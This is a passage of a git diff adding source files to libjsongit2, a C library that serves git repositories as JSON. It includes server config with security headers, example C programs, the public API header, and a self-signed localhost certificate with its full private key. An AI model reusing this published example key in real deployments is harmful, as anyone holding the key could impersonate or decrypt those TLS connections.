+				"cache-reuse": "1",
+				"cache-revalidate": "0",
+				"cache-intermediaries": "0"
+			},
+			{
+				# semi-static cached avatar icons
+				"mountpoint": "/git/avatar",
+				"origin": "callback://avatar-proxy",
+				"cache-max-age": "2400",
+				"cache-reuse": "1",
+				"cache-revalidate": "0",
+				"cache-intermediaries": "0"
+			}
+		],
+		
+		#
+		# these headers, which will be sent on every transaction, make
+		# recent browsers definitively ban any external script sources,
+		# no matter what might manage to get injected later in the
+		# page.  It's a last line of defence against any successful XSS.
+		#
+
+		"headers": [{
+		        "content-security-policy": "default-src 'none'; img-src 'self' data: https://travis-ci.org https://api.travis-ci.org https://ci.appveyor.com https://scan.coverity.com; script-src 'self'; font-src 'self'; style-src 'self'; connect-src 'self'; frame-ancestors 'none'; base-uri 'none';",
+		        "x-content-type-options": "nosniff",
+		        "x-xss-protection": "1; mode=block",
+		        "x-frame-options": "deny",
+		        "referrer-policy": "no-referrer"
+		}],
+
+		"ws-protocols": [
+
+		{ "gitohashi": {
+			# template HTML to use for this vhost.  You'd normally
+			# copy this to gitohashi-vhostname.html and modify it
+			# to show the content, logos, links, fonts, css etc for
+			# your vhost.  It's not served directly but read from
+			# the filesystem.  Although it's cached in memory by
+			# gitohashi, it checks for changes and reloads if
+			# changed automatically.
+			#
+			# Putting logos etc as svg in css is highly recommended,
+			# like fonts these can be transferred once with a loose
+			# caching policy.  So in practice they cost very little,
+			# and allow the browser to compose the page without
+			# delay.
+			#
+			"html-file":	 "/usr/local/share/gitohashi/templates/gitohashi-example.html",
+			#
+			# vpath required at start of links into this vhost's
+			# gitohashi content for example if an external http
+			# server is proxying us, and has been told to direct
+			# URLs starting "/git" to us, this should be set to
+			# "/git/" so URLs we generate referring to our own pages
+			# can work.
+			#
+			"vpath":	 "/git/",
+			#
+			# base directory for the bare git repos we might serve
+			#
+			"repo-base-dir": "/srv/repositories",
+			#
+			# allow serving git repos that have gitolite read ACL
+			# rights for this user.  Set to "@all" to serve all
+			# available repos (except gitolite-admin, which will
+			# never be served) The recommended convention is a
+			# virtual user "v-vhostname" in gitolite config and here
+			# to mark which repos should be made available on this
+			# vhost.
+			#
+			"acl-user":	 "@all",
+			#
+			# url mountpoint for the avatar cache
+			#
+			"avatar-url":	 "/git/avatar/",
+			#
+			# libjsgit2 JSON cache... this
+			# should not be directly served
+			#
+			"cache-base":	"/var/cache/libjsongit2",
+			#
+			# restrict the JSON cache size
+			# to 100MB
+			#
+			"cache-size":   "100000000",
+			#
+			# optional flags, b0 = 1 = blog mode
+			#
+			"flags": 0
+			#"blog-repo-name":	"myrepo"
+		},
+		"avatar-proxy": {
+			"remote-base": "https://www.gravatar.com/avatar/",
+			#
+			# this dir is served via avatar-proxy
+			#
+			"cache-dir": "/var/cache/libjsongit2"
+		}
+	}
+	]
+	}
+	]
+}
+
diff --git a/example-cert/localhost-100y.cert.pem b/example-cert/localhost-100y.cert.pem
new file mode 100644
index 0000000..6f372db
--- /dev/null
+++ b/example-cert/localhost-100y.cert.pem
@@ -0,0 +1,34 @@
+-----BEGIN CERTIFICATE-----
+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
+e2Hl/7M0c/lbZ4FvXgARlex2rkgS0Ka06HE=
+-----END CERTIFICATE-----
diff --git a/example-cert/localhost-100y.key.pem b/example-cert/localhost-100y.key.pem
new file mode 100644
index 0000000..148f859
--- /dev/null
+++ b/example-cert/localhost-100y.key.pem
@@ -0,0 +1,52 @@
+-----BEGIN PRIVATE KEY-----
+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
+fBrpEY1IATtPq1taBZZogRqI3rOkkPk=
+-----END PRIVATE KEY-----
diff --git a/examples/minimal/README.md b/examples/minimal/README.md
new file mode 100644
index 0000000..b897099
--- /dev/null
+++ b/examples/minimal/README.md
@@ -0,0 +1,21 @@
+## Example commandline app
+
+This commandline app takes two args
+
+ - a directory where bare git repositories exist inside
+
+ - a "url path" like /git/myrepo to specify what JSON is
+   needed.
+
+## Build
+
+It's built along with the library
+
+## Example usage
+
+```
+ $ jg2-example /srv/repositories /git/myrepo
+ $ jg2-example /srv/repositories /git/myrepo?h=mybranch
+ $ jg2-example /srv/repositories /git/myrepo/commit?id=<commit hash>
+```
+
diff --git a/examples/minimal/jg2-example.c b/examples/minimal/jg2-example.c
new file mode 100644
index 0000000..da71232
--- /dev/null
+++ b/examples/minimal/jg2-example.c
@@ -0,0 +1,149 @@
+/*
+ * jg2-example.c: minimal example for using libjsongit2
+ *
+ * Copyright (C) 2018 Andy Green <andy@warmcat.com>
+ *
+ * This file is made available under the Creative Commons CC0 1.0
+ * Universal Public Domain Dedication.
+ *
+ * The library is LGPL 2.1... this example is CC0 to ease getting started
+ * with your own code using the library.
+ *
+ * You run it from the commandline with a fake "url", against a bare git dir,
+ * and it spits out the corresponding JSON.  You use it like this
+ *
+ *  - repo base dir
+ *  - "url" part to give the library
+ *
+ * This example just sets the virtual url part to "/git", this is pass in the
+ * json to whatever will create links.  The "/git" part is snipped before
+ * passing it to the library.
+ *
+ *   jg2-example /srv/repositores /git/myrepo
+ *   jg2-example /srv/repositores /git/myrepo/commit?id=somehash
+ *   jg2-example /srv/repositores /git/myrepo/log?h=mybranch
+ */
+
+#include <libjsongit2.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+
+#define URL_VIRTUAL_PART "/git"
+
+int
+main(int argc, char *argv[])
+{
+	struct jg2_ctx_create_args args;
+	struct jg2_vhost_config config;
+	struct jg2_vhost *vh;
+	struct jg2_ctx *ctx;
+	const char *mimetype;
+	unsigned long length;
+	int done, err = 1;
+	char etag[36];
+
+	if (argc < 3 || strlen(argv[2]) < strlen(URL_VIRTUAL_PART)) {
+		fprintf(stderr, "Usage: %s "
+				"<repo base dir> <\"/git/... url path\">\n",
+			argv[0]);
+
+		return 1;
+	}
+
+	memset(&config, 0, sizeof(config));
+
+	/*
+	 * this is the "virtual" part of the URLs, we just fix it to "git"
+	 * for the sake of a simple example.
+	 */
+	config.virtual_base_urlpath = "/git";
+
+	/*
+	 * this is the directory where the bare repos are living,
+	 * eg, /srv/repositories or whatever.  The repository name
+	 * from the URL is added to this to find out the actual repo to
+	 * open.  We pass it in the first arg
+	 */
+	config.repo_base_dir = argv[1];
+
+	/*
+	 * typically the vhost has its own "user" for gitolite ACL matching.
+	 *
+	 * For the demo we just allow it to see all repos with this special
+	 * macro name.
+	 */
+	config.acl_user = "@all";
+
+	/*
+	 * the jg2 vhost holds things like different repo objects, information
+	 * from the config set above, and universal cache for email + md5s.  In
+	 * a more complex usage, it exists for longer than one context lifetime.
+	 */
+	vh = jg2_vhost_create(&config);
+	if (!vh) {
+		fprintf(stderr, "failed to open vh\n");
+
+		return 2;
+	}
+
+	/*
+	 * We create a jg2 context in the jg2 vhost, using the "url"
+	 * from the commandline like "/git/myrepo".  Its lifetime is until
+	 * we finished generating that specific JSON.
+	 *
+	 * We snip the "/git" part simulating how a web server would have
+	 * removed the virtual part of the URL
+	 */
+
+	/*
+	 * This makes your code more forward-compatible, since NULL / 0 is
+	 * almost always meaning "not used" or "default" for members introduced
+	 * in later versions than your code was written with.
+	 */
+	memset(&args, 0, sizeof(args));
+
+	args.repo_path = (const char *)argv[2] + strlen(URL_VIRTUAL_PART);
+	args.mimetype = &mimetype;
+	args.length = &length;
+	args.etag = etag;
+	args.etag_length = sizeof(etag);
+
+	if (jg2_ctx_create(vh, &ctx, &args)) {
+		fprintf(stderr, "failed to open ctx for %s\n", argv[2]);
+
+		goto bail;
+	}
+
+	do {
+		char buf[4096];
+		size_t used;
+
+		/* the context is stateful, we don't have to do this all at
+		 * once and we can use a different buffer every time if we
+		 * want.
+		 */
+
+		done = jg2_ctx_fill(ctx, buf, sizeof(buf), &used);
+		if (done < 0) {
+			fprintf(stderr, "json job failed\n");
+
+			goto bail1;
+		}
+
+		/* issue on stdout */
+		write(1, buf, used);
+
+	} while (!done);
+
+	err = 0;
+
+bail1:
+	jg2_ctx_destroy(ctx);
+
+bail:
+	jg2_vhost_destroy(vh);
+
+	return err;
+}
diff --git a/examples/threadchurn/README.md b/examples/threadchurn/README.md
new file mode 100644
index 0000000..e69de29
--- /dev/null
+++ b/examples/threadchurn/README.md
diff --git a/examples/threadchurn/threadchurn.c b/examples/threadchurn/threadchurn.c
new file mode 100644
index 0000000..ed6d723
--- /dev/null
+++ b/examples/threadchurn/threadchurn.c
@@ -0,0 +1,143 @@
+/*
+ * threadchurn.c: test app for threadsafe api access
+ *
+ * Copyright (C) 2018 Andy Green <andy@warmcat.com>
+ *
+ * This file is made available under the Creative Commons CC0 1.0
+ * Universal Public Domain Dedication.
+ *
+ * The library is LGPL 2.1... this example is CC0 to ease getting started
+ * with your own code using the library.
+ *
+ * You run it from the commandline with a fake "url", against a bare git dir,
+ * and it spits out the corresponding JSON.  You use it like this
+ *
+ *  - repo base dir
+ *  - "url" part to give the library
+ *
+ * This example just sets the virtual url part to "/git", this is pass in the
+ * json to whatever will create links.  The "/git" part is snipped before
+ * passing it to the library.
+ *
+ *   jg2-threadchurn /srv/repositores /git/myrepo
+ *
+ * The example spawns 8 threads each doing 1000 fetches from the urlpath
+ * concurrently using the same vhost.
+ */
+
+#include <libjsongit2.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <string.h>
+#include <unistd.h>
+
+#include <pthread.h>
+
+#define URL_VIRTUAL_PART "/git"
+
+static struct jg2_vhost *vh;
+static int count_threads = 16;
+
+static void *
+thread_spam(void *d)
+{
+	struct jg2_ctx_create_args args;
+	char **argv = (char **)d;
+	const char *mimetype;
+	unsigned long length;
+	struct jg2_ctx *ctx;
+	int budget = 10000, did = 0, tried = 0;
+	char etag[36];
+	int done;
+
+	do {
+		memset(&args, 0, sizeof(args));
+
+		args.repo_path = (const char *)argv[2] +
+				 strlen(URL_VIRTUAL_PART);
+		args.mimetype = &mimetype;
+		args.length = &length;
+		args.etag = etag;
+		args.etag_length = sizeof(etag);
+
+		if (jg2_ctx_create(vh, &ctx, &args)) {
+			fprintf(stderr, "failed to open ctx for %s\n", argv[2]);
+
+			break;
+		}
+
+		do {
+			char buf[4096];
+			size_t used;
+
+			done = jg2_ctx_fill(ctx, buf, sizeof(buf), &used);
+			if (done < 0) {
+				fprintf(stderr, "json job failed\n");
+
+				break;
+			}
+
+			/* issue on stdout */
+			write(1, buf, used);
+
+		} while (!done);
+
+		if (done > 0)
+			did++;
+
+		jg2_ctx_destroy(ctx);
+
+
+	} while (++tried < budget);
+
+	fprintf(stderr, "thread %p: did %d / %d\n", (void *)pthread_self(),
+			did, budget);
+
+	pthread_exit(NULL);
+
+	return NULL;
+}
+
+int
+main(int argc, char *argv[])
+{
+	struct jg2_vhost_config config;
+	pthread_t pts[16];
+	int n;
+	void *retval;
+
+	if (argc < 3 || strlen(argv[2]) < strlen(URL_VIRTUAL_PART)) {
+		fprintf(stderr, "Usage: %s "
+				"<repo base dir> <\"/git/... url path\">\n",
+			argv[0]);
+
+		return 1;
+	}
+
+	memset(&config, 0, sizeof(config));
+
+	config.virtual_base_urlpath = "/git";
+	config.repo_base_dir = argv[1];
+	config.acl_user = "@all";
+
+	vh = jg2_vhost_create(&config);
+	if (!vh) {
+		fprintf(stderr, "failed to open vh\n");
+
+		return 2;
+	}
+
+	for (n = 0; n < count_threads; n++)
+		if (pthread_create(&pts[n], NULL, thread_spam, argv)) {
+			fprintf(stderr, "thread creation failed\n");
+		}
+
+	/* wait for the threads to complete */
+
+	for (n = 0; n < count_threads; n++)
+		pthread_join(pts[n], &retval);
+
+	jg2_vhost_destroy(vh);
+
+	return 0;
+}
diff --git a/include/libjsongit2.h b/include/libjsongit2.h
new file mode 100644
index 0000000..b15f5e9
--- /dev/null
+++ b/include/libjsongit2.h
@@ -0,0 +1,214 @@
+/*
+ * libjsongit2.h - Public API for JSON wrapper for libgit2
+ *
+ * Copyright (C) 2018 Andy Green <andy@warmcat.com>
+ *
+ *  This library is free software; you can redistribute it and/or
+ *  modify it under the terms of the GNU Lesser General Public
+ *  License as published by the Free Software Foundation:
+ *  version 2.1 of the License.
+ *
+ *  This library is distributed in the hope that it will be useful,
+ *  but WITHOUT ANY WARRANTY; without even the implied warranty of
+ *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
+ *  Lesser General Public License for more details.
+ *
+ *  You should have received a copy of the GNU Lesser General Public
+ *  License along with this library; if not, write to the Free Software
+ *  Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
+ *  MA  02110-1301  USA
+ */
+
+#if !defined(__LIB_JSON_GIT2_H__b1c6cef9e87b714318802950c4e08a15ffaa6559)
+#define __LIB_JSON_GIT2_H__b1c6cef9e87b714318802950c4e08a15ffaa6559
+
+#include <stddef.h>
+#include <stdint.h>
+
+#if defined(__GNUC__)
+#define JG2_VISIBLE __attribute__((visibility("default")))
+#else
+#define JG2_VISIBLE
+#endif
+
+struct jg2_vhost;
+struct jg2_ctx;
+
+typedef void * jg2_md5_context;
+
+struct jg2_vhost_config {
+
+	/* mandatory */
+
+	const char *virtual_base_urlpath; /**< Mandatory; like "/git" */
+	const char *repo_base_dir; /**< Mandatory; like "/srv/repositories" */
+
+	/* optional */
+
+	const char *acl_user; /**< like "v-warmcat"... this user is checked for
+	 	 	 	   READ access to allow showing repos on this
+	 	 	 	   vhost... context may supply an authorized
+	 	 	 	   user additionally that is additively checked.
+	 	 	 	   NULL if not used. */
+
+	const char *vhost_html_filepath; /**< like "/etc/jsongit2/vh1.html"
+		this is optional if you don't want JSON sandwiched in HTML */
+	const char *avatar_url; /**< NULL for "//www.gravatar.com/avatar/",
+				     else your server / proxy cache base URL */
+	const char *json_cache_base; /**< directory to place JSON cache,
+					* /var/cache/libjsongit2 recommended;
+					* disabled if left NULL */
+
+	uint64_t cache_size_limit; /**< goal for max cache size in bytes,
+				    *   0 means use default of 256MiB */
+
+	int cache_uid; /**< if you create the vhosts while still being root
+			 * and later change uid + gid, you can set the uid
+			 * of the cache directory permissions here, even if the
+			 * cache dir is somewhere privileged like /var/cache/...
+			 * The mode of the cache directory and its subdirecties
+			 * is set to 0700.  Leave at 0 if you set the cache dirs
+			 * up externally */
+
+	int email_hash_bins; /**< email cache hash bins (0 defaults to 16) */
+	int email_hash_depth; /**< max emails per hash bin (0 defaults to 16) */
+
+	void *avatar_arg; /**< opaque pointer passed to avatar callback, if set */
+
+#define JG2_VHOST_BLOG_MODE 1
+	unsigned int flags; /* OR-ed flags: JG2_VHOST_BLOG_MODE = "blog mode" */
+	const char *blog_repo_name; /**< the repo name of the blog, if blog mode */
+
+	/* optional md5 acceleration */
+
+	jg2_md5_context (*md5_alloc)(void);
+	/**< user code can provide accelerated md5, default of NULL means
+	     use internal implementation.  All four callbacks must be given
+	     if md5_alloc() is set.  Note that md5_fini does NOT free() the
+	     pointer returned by md5_alloc(), since often you want to
+	     allocate once and reuse. */
+	void (*md5_init)(jg2_md5_context _ctx);
+	/**< callback prepares \p _ctx to perform a new hash */
+	int (*md5_upd)(jg2_md5_context _ctx, const unsigned char *input,
+		       size_t ilen);
+	/**< callback adds \p ilen bytes from \p input to the hash */
+	int (*md5_fini)(jg2_md5_context _ctx, unsigned char output[16]);
+	/**< copies the final hash to \p output.  \p _ctx must be freed by the
+	 * user afterwards (or reused after md5_init() on it again) */
+
+	/* optional event callbacks */
+
+	void (*refchange)(void *user);
+	/**< user handler for contexts who repo reflist has changed */
+	int (*avatar)(void *avatar_arg, const unsigned char *md5);
+	/**< optional hook called when an avatar md5 was computed... eg
+	 * can be used to prime a side-cache with the avatar image
+	 */
+};
+
+struct jg2_ctx_create_args {
+	const char *repo_path; /**< filesystem path to the repo */
+#define JG2_CTX_FLAG_HTML 1
+#define JG2_CTX_FLAG_BOT 2
+	int flags; /**< bitwise-ORed flags: JG2_CTX_FLAG_HTML = generate HTML
+			around the JSON, using the vhost HTML file;
+			absent = pure JSON, JG2_CTX_FLAG_BOT = don't create
+			cache entries for this context */
+	const char **mimetype; /**< pointer to const char * to take pointer
+				    to mimetype */
+	unsigned long *length; /**< pointer to unsigned long to take 0 or
+				    length of http data if known */
+	char *etag; /**< pointer to char buffer to take Etag token part */
+	size_t etag_length; /**< length of etag char buffer */
+	const char *client_etag; /** NULL, or etag the client offered */
+	const char *authorized; /**< NULL or gitolite name for ACL use */
+	const char *accept_language; /**< client's accept-language hdr if any */
+	void *user; /**< opaque user pointer to attach to ctx */
+};
+
+/**
+ * jg2_library_init() - "vhost" library init
+ *
+ * \param config: config struct
+ *
+ * Returns the allocated jg2 "vhost" pointer, or NULL if failed.
+ *
+ * The user code must call this at least once and pass the returned pointer
+ * when creating the contexts.  This call serves two purposes... first to
+ * hide the required call to init git2 library, and second to hold sticky,
+ * pooled data like the repo current refs and email md5 cache that contexts
+ * can share.
+ *
+ * It's OK to call this more than once, for example once per web server vhost
+ * that will be using this api.  But it must be called at least once.
+ */
+JG2_VISIBLE struct jg2_vhost *
+jg2_vhost_create(const struct jg2_vhost_config *config);
+
+/**
+ * jg2_library_deinit() - "vhost" deinit
+ *
+ * \param vhost: pointer to the vhost struct to be deallocated
+ *
+ * This must be called once before the process exits on every vhost pointer
+ * allocated via jg2_vhost_create().
+ */
+JG2_VISIBLE void
+jg2_vhost_destroy(struct jg2_vhost *vhost);
+
+/**
+ * jg2_ctx_create() - create a jg2 connection context
+ *
+ * \param vhost: pointer to vhost library init struct context will bind to
+ * \param ctx: pointer to the pointer that will be allocated
+ * \param args: arguments that should be set on entry
+ *
+ * This creates the context for an individual connection with a urlpath.  It
+ * doesn't produce output itself, it "sets up the connection".  Many connection
+ * contexts can be ongoing simultaneously.
+ *
+ * Returns 0 if the context was allocated, or nonzero if it wasn't allocated
+ * due to a problem.
+ */
+
+#define JG2_CTX_CREATE_ACL_DENIED 3
+#define JG2_CTX_CREATE_OOM 2
+#define JG2_CTX_CREATE_REPO_OPEN_FAIL 1
+
+JG2_VISIBLE int
+jg2_ctx_create(struct jg2_vhost *vhost, struct jg2_ctx **ctx,
+	       const struct jg2_ctx_create_args *args);
+
+/**
+ * jg2_ctx_destroy() - destroy a jg2 context
+ *
+ * \param ctx: pointer to the pointer that will be allocated
+ *
+ * Deallocates anything in the context.  This should be called when the
+ * connection the context is representing is closed.
+ */
+JG2_VISIBLE int
+jg2_ctx_destroy(struct jg2_ctx *ctx);
+
+/**
+ * jg2_ctx_fill() - fill a buffer with content
+ *
+ * \param ctx: pointer to the context
+ * \param buf: buffer to write content into
+ * \param len: length of buf that may be used
+ * \param used: pointer to size_t filled with count of bytes in buf used
+ *
+ * This generates the "next buffer load" of output from the connection context.
+ * Work and anything using memory is deferred until it is actually needed, for
+ * example trees are walked incrementally and blobs opened one at a time only
+ * when needed for output and closed before moving on.
+ *
+ * If the work is bigger than one buffer it returns when the buffer is full
+ * and resumes with a new buffer next call to jg2_ctx_fill().
+ *
+ * Returns < 0 on error, or the amount of buffer bytes written
+ */
+JG2_VISIBLE int
+jg2_ctx_fill(struct jg2_ctx *ctx, char *buf, size_t len, size_t *used);
+
+#endif /* __LIB_JSON_GIT2_H__b1c6cef9e87b714318802950c4e08a15ffaa6559 */
diff --git a/lib/README.md b/lib/README.md
new file mode 100644
index 0000000..8dbf649
--- /dev/null
+++ b/lib/README.md
@@ -0,0 +1,8 @@
+## libjsongit2 library sources
+
+Dir|Function
+---|---
+conf|Sources related to parsing configuration from git config or gitolite
+email|Sources related to md5 and email avatar handling
+job|Sources related to generating JSON for different types of URL
+lac|Linear Alloc Chunk helpers
diff --git a/lib/cache.c b/lib/cache.c
new file mode 100644
index 0000000..e0c42f5
--- /dev/null
+++ b/lib/cache.c
@@ -0,0 +1,419 @@
+/*
+ * libjsongit2 - cache trimming
+ *
+ * Copyright (C) 2018 Andy Green <andy@warmcat.com>
+ *
+ *  This library is free software; you can redistribute it and/or
